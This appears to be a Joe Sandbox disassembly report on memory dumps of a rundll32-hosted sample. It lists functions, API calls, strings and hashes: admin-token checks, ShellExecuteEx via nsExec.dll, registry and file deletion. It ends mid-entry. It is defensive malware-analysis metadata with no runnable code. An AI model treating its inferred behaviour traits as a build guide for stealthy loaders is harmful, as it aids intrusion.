Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: cbfc3d39d454530289da2862fbc54bf5329a5508bcb0f446a41d8699e0a00e08
Instruction ID: 8d4a5966d1223f6d46f8049d250fa30a8de0d2d2bf0f154181ccbc354c661b0c
Opcode Fuzzy Hash: cbfc3d39d454530289da2862fbc54bf5329a5508bcb0f446a41d8699e0a00e08
Instruction Fuzzy Hash: 070170326093125EFB183579FCC44EA2B48EBA563A330023DF9A1561D0FF657C8153C8

Uniqueness

Uniqueness Score: -1.00%

Function 6D4A9DA7 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 135stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCommandLineA.KERNEL32(34DD02B9,0000000A,B427E1B8,00000001,00000000,00000000), ref: 6D4A9E3A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D4A9E46

Part of subcall function 6D4B2649: memcpy.VCRUNTIME140(?,?,?,?), ref: 6D4B267A

Part of subcall function 6D4B2A33: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6D4A9E6C,AQfKr5XSuITHT,000000FF,?,?), ref: 6D4B2A3E

Part of subcall function 6D4AC22C: ?_Xlength_error@std@@YAXPBD@Z.MSVCP140(list too long,?,?,?,?,?,6D4A9E90,?,0000007E,AQfKr5XSuITHT), ref: 6D4AC27F

Part of subcall function 6D4AC2C6: ?_Xlength_error@std@@YAXPBD@Z.MSVCP140(list too long,?,?,6D4A9EB8,?,?,?,?,0000007E,AQfKr5XSuITHT), ref: 6D4AC319

Strings

AQfKr5XSuITHT, xrefs: 6D4A9E5F
*, xrefs: 6D4A9DD9
~, xrefs: 6D4A9E7B

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: Xlength_error@std@@strlen$CommandLinememcpy
String ID: *$AQfKr5XSuITHT$~
API String ID: 2984058695-586056930
Opcode ID: 6360f7f15188490b73852d8adefa6f421c6afe2a47c6176802cf33e6dd722eb2
Instruction ID: ecb989140ab0a8e5a70c1d2853fa64dd28feda9b7b17ac509aa4d08800811545
Opcode Fuzzy Hash: 6360f7f15188490b73852d8adefa6f421c6afe2a47c6176802cf33e6dd722eb2
Instruction Fuzzy Hash: 9151E631D041089FCB14DFA4C990EEDB7B8BF29314F55816EE52AA7194EB306E49CF90

Uniqueness

Uniqueness Score: -1.00%

Function 046A2FDE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

CharNextW.USER32(046A1393,00000020,771B3420,?,00000000,046A10B0,055BC820,046A1393), ref: 046A3051
CharNextW.USER32(046A1393,00000000,?,00000000,046A10B0,055BC820,046A1393), ref: 046A3062
CharNextW.USER32(046A1393,00000020,771B3420,?,00000000,046A10B0,055BC820,046A1393), ref: 046A3067
CharPrevW.USER32(046A1393,046A1393,00000020,771B3420,?,00000000,046A10B0,055BC820,046A1393), ref: 046A307F

Strings

*?|<>/":, xrefs: 046A3040

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 2e41ae6ad231e403251ad7d6ad9a1b771ca42b64bc8fd856c5effa8f161a61ba
Instruction ID: ffe6adf46ef910eb260e27945ca9954145d21a08d1e9a86e23a77ed7da2f53bd
Opcode Fuzzy Hash: 2e41ae6ad231e403251ad7d6ad9a1b771ca42b64bc8fd856c5effa8f161a61ba
Instruction Fuzzy Hash: D3113615A00A2592DB30AF69885093BA3E5DFA9761751441AEEC5C7380FF65ECE0CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 046BB700 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,59C087C1,?,?,00000000,046CDE37,000000FF,?,046BB690,?,?,046BB664,00000016), ref: 046BB735
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 046BB747
FreeLibrary.KERNEL32(00000000,?,00000000,046CDE37,000000FF,?,046BB690,?,?,046BB664,00000016), ref: 046BB769

Strings

mscoree.dll, xrefs: 046BB72E
CorExitProcess, xrefs: 046BB73F

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: cd0a554c451ac3cca47ba79e5a324b7d9262839a6775ff31e4bfeb59512e9fc6
Instruction ID: 90dd312c7817b6ae78c79116cc0421bc9cd9a73a2532d578b00a4713de3d9ba5
Opcode Fuzzy Hash: cd0a554c451ac3cca47ba79e5a324b7d9262839a6775ff31e4bfeb59512e9fc6
Instruction Fuzzy Hash: 3E014435A40659AFDB159B50DC49BFEB7B9FB44B11F004525E812E26A0E778A940CB90

Uniqueness

Uniqueness Score: -1.00%

Function 046ABCB0 Relevance: 7.7, APIs: 5, Instructions: 242COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 046ABD97
std::_Lockit::_Lockit.LIBCPMT ref: 046ABE1A
std::_Lockit::_Lockit.LIBCPMT ref: 046ABE37
std::_Lockit::~_Lockit.LIBCPMT ref: 046ABE58
std::_Lockit::~_Lockit.LIBCPMT ref: 046ABF21

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$___std_exception_destroy
String ID:
API String ID: 2108590116-0
Opcode ID: 130a9cb2bcf9c818a25159fd58cc108c1e82b4c2cd7a3af50e594d79f27e6de1
Instruction ID: f865c15a87390830f7c701caf926665600c65d44ba4dc284d9d8c298f71ae0a2
Opcode Fuzzy Hash: 130a9cb2bcf9c818a25159fd58cc108c1e82b4c2cd7a3af50e594d79f27e6de1
Instruction Fuzzy Hash: AD916771A00A049FDB18DF68D884BAABBF1EF48714F18451DE6469B7A1EB34BD50CF90

Uniqueness

Uniqueness Score: -1.00%

Function 046C1995 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 046C1A1C
__alloca_probe_16.LIBCMT ref: 046C1ADD
__freea.LIBCMT ref: 046C1B44

Part of subcall function 046C0365: RtlAllocateHeap.NTDLL(00000000,046B2FDB,?,?,046B5099,?,?,?,?,?,046B2EC9,046B2FDB,?,?,?,?), ref: 046C0397

__freea.LIBCMT ref: 046C1B59
__freea.LIBCMT ref: 046C1B69

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: e8a2974d9e18af76a25b18624d0f91dcc334d5c44e99f66718552180cbd6c0d0
Instruction ID: 6b70f7b0a223792cffb67c655dbdc6b20788e7060231bee1e8230f346ed744b2
Opcode Fuzzy Hash: e8a2974d9e18af76a25b18624d0f91dcc334d5c44e99f66718552180cbd6c0d0
Instruction Fuzzy Hash: 1551B172A0020AABEB249FA5CC40DFB76A9EB56354B19012DFC08D7251FA30EC508FA4

Uniqueness

Uniqueness Score: -1.00%

Function 6D4A6020 Relevance: 7.7, APIs: 6, Instructions: 168COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6D4A6105
memset.VCRUNTIME140(?,6D4A49F6,00000000), ref: 6D4A611E
memcpy.VCRUNTIME140(?,?,?), ref: 6D4A6148

Part of subcall function 6D4A2020: ?_Xlength_error@std@@YAXPBD@Z.MSVCP140(string too long,?,6D4AD6E4,?,?,?,?,?,?,?,?,?,6D4B26AC,?,?,?), ref: 6D4A2028

Part of subcall function 6D4BD2E9: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(6D4B2519,?,6D4B2519,00000000), ref: 6D4BD2FE

memcpy.VCRUNTIME140(00000000,?,?), ref: 6D4A61A5
memset.VCRUNTIME140(?,6D4A49F6,00000000), ref: 6D4A61BE
memcpy.VCRUNTIME140(?,?,?), ref: 6D4A61E8

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: memcpy$memset$Xlength_error@std@@malloc
String ID:
API String ID: 3659726160-0
Opcode ID: 06b00a6ecd59b3e463c75f460647a5b26308e144b5ca99b3119d80f7e0c34dae
Instruction ID: a634f5fd99c85301bfa0dd77ab735846d960bd19183b2ca105d2af1e34135c5c
Opcode Fuzzy Hash: 06b00a6ecd59b3e463c75f460647a5b26308e144b5ca99b3119d80f7e0c34dae
Instruction Fuzzy Hash: 7A71D3B5D04249AFCF08CF98D880AEEBBB5BF88304F148559E915A7305D730AA55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 046A4C9C Relevance: 7.6, APIs: 5, Instructions: 100memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,0000C800,00000002), ref: 046A4CF2
GlobalAlloc.KERNEL32(00000040,?,?,?,00000000), ref: 046A4D31
GlobalFree.KERNEL32(?), ref: 046A4D84
GlobalFree.KERNEL32(00000000), ref: 046A4D9C
DeleteFileW.KERNEL32(00000000,00000002), ref: 046A4DC2

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Global$AllocFree$DeleteFile
String ID:
API String ID: 3892352246-0
Opcode ID: 919f4382662efc2083c09bdc64a325821c6c53cf0fd96fa55c87eb41a95f7786
Instruction ID: 2434770f35630db85211cdde52edb2bd1ce9092d3e4c83112d3f368081f84ca5
Opcode Fuzzy Hash: 919f4382662efc2083c09bdc64a325821c6c53cf0fd96fa55c87eb41a95f7786
Instruction Fuzzy Hash: FF31D030604B10ABD754AF64CC90A2A7AD5AFC8328F10462DF9664B3D1FE74AC618F85

Uniqueness

Uniqueness Score: -1.00%

Function 046A3396 Relevance: 7.6, APIs: 5, Instructions: 75registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000105,00000000,00000105,00000105), ref: 046A33F4
RegCloseKey.ADVAPI32(?), ref: 046A343A
RegCloseKey.ADVAPI32(?), ref: 046A3459

Part of subcall function 046A3396: RegEnumKeyW.ADVAPI32(00000000,00000000,?,00000105), ref: 046A342C
Part of subcall function 046A3396: RegDeleteKeyW.ADVAPI32 ref: 046A3466

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CloseEnum$Delete
String ID:
API String ID: 2938479316-0
Opcode ID: 26d088beea8ffdd7c0a781ddd909310c4da98fb9d71a3e442cbc999f6d61f0b1
Instruction ID: 14bed743def7bd10dd361734b4eea3c135a573299c290b9b8ad925fd8aa64f66
Opcode Fuzzy Hash: 26d088beea8ffdd7c0a781ddd909310c4da98fb9d71a3e442cbc999f6d61f0b1
Instruction Fuzzy Hash: C821D431248701ABD731AF64DC54FABBBE9EF94744F008829BA55C2290FB34EC548F66

Uniqueness

Uniqueness Score: -1.00%

Function 046A3F30 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 046A3F36
GetClientRect.USER32(00000000,?), ref: 046A3F44
LoadImageW.USER32(00000000,00000000,00000000,?,?,00000010), ref: 046A3F72
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 046A3F80
DeleteObject.GDI32(00000000), ref: 046A3F8F

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: d9e1e3c16192e54cb6d066ba00a72d5175b6b794daa4095ea331a10429087139
Instruction ID: 4fa04d967d5210e4e8cbc02b4e0569ca9c008b27ce10748892690b20fb535251
Opcode Fuzzy Hash: d9e1e3c16192e54cb6d066ba00a72d5175b6b794daa4095ea331a10429087139
Instruction Fuzzy Hash: 81014472204250ABD368DF60DC49EBFB7ADFBC5711F40541DF546C6181EE38AC418BA5

Uniqueness

Uniqueness Score: -1.00%

Function 046A3F9A Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 046A3F9F
GetDeviceCaps.GDI32(00000000,0000005A), ref: 046A3FB6
MulDiv.KERNEL32(00000000,00000000), ref: 046A3FBE
ReleaseDC.USER32(?,00000000), ref: 046A3FCD
CreateFontIndirectW.GDI32(047041F8), ref: 046A401F

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 49bb255a4e0732fd13b4b699e28c24f70a2b5987b5f1709244589f89292a307a
Instruction ID: e53aef3dfded9ba13b10de64d2d7620dec29a5faa9e49081a2107ec5d53495eb
Opcode Fuzzy Hash: 49bb255a4e0732fd13b4b699e28c24f70a2b5987b5f1709244589f89292a307a
Instruction Fuzzy Hash: 3F018F71642340EBE314ABB4E94DAE53BE5EB65704F108808E725C72C2EA3C5C858B25

Uniqueness

Uniqueness Score: -1.00%

Function 046AC4E0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 204COMMON

Download Yara Rule

APIs

Part of subcall function 046AC8E0: AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,046AC503), ref: 046AC91D
Part of subcall function 046AC8E0: CheckTokenMembership.ADVAPI32(00000000,046AC503,00000000), ref: 046AC92F
Part of subcall function 046AC8E0: GetLastError.KERNEL32 ref: 046AC939
Part of subcall function 046AC8E0: FreeSid.ADVAPI32(046AC503), ref: 046AC949

GetCommandLineW.KERNEL32(?), ref: 046AC518
CommandLineToArgvW.SHELL32(00000000), ref: 046AC51F

Strings

rundll32, xrefs: 046AC57D
rundll32.exe, xrefs: 046AC5AB

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CommandLine$AllocateArgvCheckErrorFreeInitializeLastMembershipToken
String ID: rundll32$rundll32.exe
API String ID: 3357766150-702223092
Opcode ID: a198fe5574b8e43633c41920714f9b7ff2a4988908f023afe9f2600c17526015
Instruction ID: 7a572871d8c8aa58e4ab44fe5021d935edad4f9a9d07d520bc4713f646092b01
Opcode Fuzzy Hash: a198fe5574b8e43633c41920714f9b7ff2a4988908f023afe9f2600c17526015
Instruction Fuzzy Hash: F2618271D10A089AEB14EBB0DC45FEEB778AF14308F54416DA519A3182FB34BE68CF65

Uniqueness

Uniqueness Score: -1.00%

Function 046AAF40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 046AAFF8

Strings

ios_base::badbit set, xrefs: 046AB093, 046AB0BC
ios_base::eofbit set, xrefs: 046AB0A2
ios_base::failbit set, xrefs: 046AB09D

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Initstd::locale::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 1620887387-1866435925
Opcode ID: 5e5411c80d205b0753788620d0b1d7e87cf8343b572a6f5674243cdb0fb61890
Instruction ID: 6e37645e81e35fa60dee88b3813ed662c7d4ee1526ee0c5a28213d61d1595771
Opcode Fuzzy Hash: 5e5411c80d205b0753788620d0b1d7e87cf8343b572a6f5674243cdb0fb61890
Instruction Fuzzy Hash: 7F4159B0600B059FEB20CF64C498B56BBE4BF04308F44852DD95A8B791E7B6F958CF91

Uniqueness

Uniqueness Score: -1.00%

Function 046A5742 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 98stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(04704278,?,?,?,?), ref: 046A57F7
wsprintfW.USER32 ref: 046A5827
SetDlgItemTextW.USER32(?,04704278), ref: 046A583F

Strings

%u.%u%s%s, xrefs: 046A5821

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 3219a0c7bc5aae3ce010d23b8fdcd7a59829df83b05072a2e48d6e30cf3f7a2c
Instruction ID: 058a9add073031c6ad6db1dc018c7621e47f2aa87b276530c5a3d4403619b1a2
Opcode Fuzzy Hash: 3219a0c7bc5aae3ce010d23b8fdcd7a59829df83b05072a2e48d6e30cf3f7a2c
Instruction Fuzzy Hash: BB3138367047009FD324EA78DC40AAAB3D5EBC5324F11863DEA5AD33D1FA349C458BA1

Uniqueness

Uniqueness Score: -1.00%

Function 046A405C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 046A64EE: lstrlenW.KERNEL32(04706278,?,?,00000000,?), ref: 046A6523
Part of subcall function 046A64EE: lstrlenW.KERNEL32(?), ref: 046A6532
Part of subcall function 046A64EE: lstrcatW.KERNEL32(04706278,?), ref: 046A654E
Part of subcall function 046A64EE: SetWindowTextW.USER32(04706278), ref: 046A6567
Part of subcall function 046A64EE: SendMessageW.USER32 ref: 046A658E
Part of subcall function 046A64EE: SendMessageW.USER32(00000000,0000104D,00000000,?), ref: 046A65A9
Part of subcall function 046A64EE: SendMessageW.USER32(00000000,00001013,?,00000000), ref: 046A65B6

ShellExecuteExW.SHELL32(0000003C), ref: 046A40E9

Part of subcall function 046A31A9: WaitForSingleObject.KERNEL32(?,00000064), ref: 046A31B4
Part of subcall function 046A31A9: GetExitCodeProcess.KERNEL32(?,?), ref: 046A31DB

Part of subcall function 046A219D: CloseHandle.KERNEL32(00000000,046A29A1,00000001,00000000,00000000,?,00000001,046A2AFD), ref: 046A21B4

Strings

<, xrefs: 046A40C3
@, xrefs: 046A40F7
C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp\nsExec.dll, xrefs: 046A4083

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: MessageSend$lstrlen$CloseCodeExecuteExitHandleObjectProcessShellSingleTextWaitWindowlstrcat
String ID: <$@$C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp\nsExec.dll
API String ID: 4079680657-4124911870
Opcode ID: 908ac9d8ae9e2a112271045084f26af6983d86c4a7027f66cc82b54138fe876b
Instruction ID: bcb9af5a87b3bef8bfcc8e5200241d4df2788f131a4690dc1087b4ec80a904fd
Opcode Fuzzy Hash: 908ac9d8ae9e2a112271045084f26af6983d86c4a7027f66cc82b54138fe876b
Instruction Fuzzy Hash: 61213E716087408BD368EF78D88465ABBE5ABC8354F10482EF695C7391FA74EC548F45

Uniqueness

Uniqueness Score: -1.00%

Function 046B88A7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,046B8858,00000000,?,046E0724,?,?,?,046B89FB,00000004,InitializeCriticalSectionEx,046D1500,InitializeCriticalSectionEx), ref: 046B88B4
GetLastError.KERNEL32(?,046B8858,00000000,?,046E0724,?,?,?,046B89FB,00000004,InitializeCriticalSectionEx,046D1500,InitializeCriticalSectionEx,00000000,?,046B8642), ref: 046B88BE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 046B88E6

Strings

api-ms-, xrefs: 046B88CB

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: be326f5ec7e09c2c19ce0c5e9eec193fb4cde93efc24b31a645706c4c04b2f57
Instruction ID: 0cefc581a8822e7d81543e30bff437a87af01a6ec86d396da5685920044aa8c6
Opcode Fuzzy Hash: be326f5ec7e09c2c19ce0c5e9eec193fb4cde93efc24b31a645706c4c04b2f57
Instruction Fuzzy Hash: FFE01235640208BBEB102E50DC05BE93A5AEB11A95F144030F98CE95E1FBA5A8909784

Uniqueness

Uniqueness Score: -1.00%

Function 046CBA9E Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(59C087C1,?,00000000,?), ref: 046CBB01

Part of subcall function 046C5051: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,046C1B3A,?,00000000,-00000008), ref: 046C50FD

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 046CBD5C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 046CBDA4
GetLastError.KERNEL32 ref: 046CBE47

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 81fd4d810328d923a27cf271942918b6c92844ec9ba380ee77ebd3f4a1bd6d03
Instruction ID: ac03f4823bd8f32595785cdba1ef6f0ad18e75066efd691d46d1a2d7e3a0bdfb
Opcode Fuzzy Hash: 81fd4d810328d923a27cf271942918b6c92844ec9ba380ee77ebd3f4a1bd6d03
Instruction Fuzzy Hash: 60D137B5E002589FDB15CFA8E8819ADBBB5FF48B04F18452EE955EB341E630B942CF50

Uniqueness

Uniqueness Score: -1.00%

Function 046B787B Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 046B7942
___AdjustPointer.LIBCMT ref: 046B7965
___AdjustPointer.LIBCMT ref: 046B7A01

Memory Dump Source

